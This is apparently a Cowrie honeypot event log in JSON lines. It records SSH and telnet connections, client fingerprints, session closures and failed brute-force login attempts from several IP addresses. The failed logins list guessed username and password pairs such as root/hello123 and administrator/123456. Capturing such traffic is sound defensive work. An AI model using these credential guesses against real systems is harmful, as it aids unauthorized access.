{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:29:26.765940Z","src_ip":"45.153.34.112","session":"02b7db92dabc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"123456","message":"login attempt [administrator/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:29:27.022354Z","src_ip":"45.153.34.112","session":"02b7db92dabc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:29:28.109740Z","src_ip":"45.153.34.112","session":"02b7db92dabc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.37851810455322,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:29:29.901040Z","src_ip":"192.119.13.58","session":"ad51c49a6bc1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":38422,"dst_ip":"10.17.0.5","dst_port":22,"session":"2b8dd189def2","protocol":"ssh","message":"New connection: 45.153.34.112:38422 (10.17.0.5:22) [session: 2b8dd189def2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:29:30.172232Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:29:30.218692Z","src_ip":"45.153.34.112","session":"2b8dd189def2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:29:30.372616Z","src_ip":"45.153.34.112","session":"2b8dd189def2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test@123","message":"login attempt [test/test@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:29:30.621567Z","src_ip":"45.153.34.112","session":"2b8dd189def2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.175.218","src_port":57250,"dst_ip":"10.17.0.5","dst_port":22,"session":"54c5d565484d","protocol":"ssh","message":"New connection: 43.134.175.218:57250 (10.17.0.5:22) [session: 54c5d565484d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:29:30.908999Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:29:30.914363Z","src_ip":"43.134.175.218","session":"54c5d565484d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58972,"dst_ip":"10.17.0.5","dst_port":23,"session":"0d9c7757504f","protocol":"telnet","message":"New connection: 192.119.13.58:58972 (10.17.0.5:23) [session: 0d9c7757504f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:29:31.133678Z"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:29:31.153361Z","src_ip":"43.134.175.218","session":"54c5d565484d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:29:31.857992Z","src_ip":"45.153.34.112","session":"2b8dd189def2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34020,"dst_ip":"10.17.0.5","dst_port":23,"session":"4eaa33885158","protocol":"telnet","message":"New connection: 192.119.13.58:34020 (10.17.0.5:23) [session: 4eaa33885158]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:29:31.980496Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"hello123","message":"login attempt [root/hello123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:29:32.138625Z","src_ip":"43.134.175.218","session":"54c5d565484d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.023948669433594,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:29:33.254465Z","src_ip":"192.119.13.58","session":"eee1bae22f9c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:29:33.380405Z","src_ip":"43.134.175.218","session":"54c5d565484d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40976,"dst_ip":"10.17.0.5","dst_port":23,"session":"d4784eecfd40","protocol":"telnet","message":"New connection: 192.119.13.58:40976 (10.17.0.5:23) [session: d4784eecfd40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:29:33.631333Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":38436,"dst_ip":"10.17.0.5","dst_port":22,"session":"1b75611f5ca4","protocol":"ssh","message":"New connection: 45.153.34.112:38436 (10.17.0.5:22) [session: 1b75611f5ca4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:29:33.840914Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:29:33.845341Z","src_ip":"45.153.34.112","session":"1b75611f5ca4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:29:33.927240Z","src_ip":"45.153.34.112","session":"1b75611f5ca4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"student","password":"password","message":"login attempt [student/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:29:34.173368Z","src_ip":"45.153.34.112","session":"1b75611f5ca4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.325419425964355,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:29:34.179529Z","src_ip":"192.119.13.58","session":"11d4d8f3a5cb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:29:35.258205Z","src_ip":"45.153.34.112","session":"1b75611f5ca4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":38440,"dst_ip":"10.17.0.5","dst_port":22,"session":"d52912ea4cb6","protocol":"ssh","message":"New connection: 45.153.34.112:38440 (10.17.0.5:22) [session: d52912ea4cb6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:29:37.142126Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:29:37.148031Z","src_ip":"45.153.34.112","session":"d52912ea4cb6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:29:37.231917Z","src_ip":"45.153.34.112","session":"d52912ea4cb6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"changemeNOW","message":"login attempt [root/changemeNOW] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:29:37.478713Z","src_ip":"45.153.34.112","session":"d52912ea4cb6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:29:38.564587Z","src_ip":"45.153.34.112","session":"d52912ea4cb6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.9.145.130","src_port":52312,"dst_ip":"10.17.0.5","dst_port":22,"session":"842f8f49c932","protocol":"ssh","message":"New connection: 81.9.145.130:52312 (10.17.0.5:22) [session: 842f8f49c932]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:29:40.232751Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:29:40.237614Z","src_ip":"81.9.145.130","session":"842f8f49c932","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:29:40.357318Z","src_ip":"81.9.145.130","session":"842f8f49c932","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":52222,"dst_ip":"10.17.0.5","dst_port":22,"session":"1bf7a92b23db","protocol":"ssh","message":"New connection: 45.153.34.112:52222 (10.17.0.5:22) [session: 1bf7a92b23db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:29:40.570314Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:29:40.575037Z","src_ip":"45.153.34.112","session":"1bf7a92b23db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.74628257751465,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:29:40.633429Z","src_ip":"192.119.13.58","session":"5d25f01d52e6","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:29:40.660613Z","src_ip":"45.153.34.112","session":"1bf7a92b23db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"gary","message":"login attempt [root/gary] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:29:40.854479Z","src_ip":"81.9.145.130","session":"842f8f49c932","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1234","message":"login attempt [user/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:29:40.906280Z","src_ip":"45.153.34.112","session":"1bf7a92b23db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.66.52.41","src_port":12564,"dst_ip":"10.17.0.5","dst_port":22,"session":"1ede281d5430","protocol":"ssh","message":"New connection: 45.66.52.41:12564 (10.17.0.5:22) [session: 1ede281d5430]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:29:41.109001Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:29:41.113771Z","src_ip":"45.66.52.41","session":"1ede281d5430","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:29:41.290644Z","src_ip":"45.66.52.41","session":"1ede281d5430","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:29:41.972740Z","src_ip":"81.9.145.130","session":"842f8f49c932","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:29:41.992828Z","src_ip":"45.153.34.112","session":"1bf7a92b23db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nosceteipsum","message":"login attempt [root/nosceteipsum] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:29:42.029560Z","src_ip":"45.66.52.41","session":"1ede281d5430","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49480,"dst_ip":"10.17.0.5","dst_port":23,"session":"b5117fc6789a","protocol":"telnet","message":"New connection: 192.119.13.58:49480 (10.17.0.5:23) [session: b5117fc6789a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:29:42.563025Z"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:29:43.212530Z","src_ip":"45.66.52.41","session":"1ede281d5430","protocol":"ssh"}
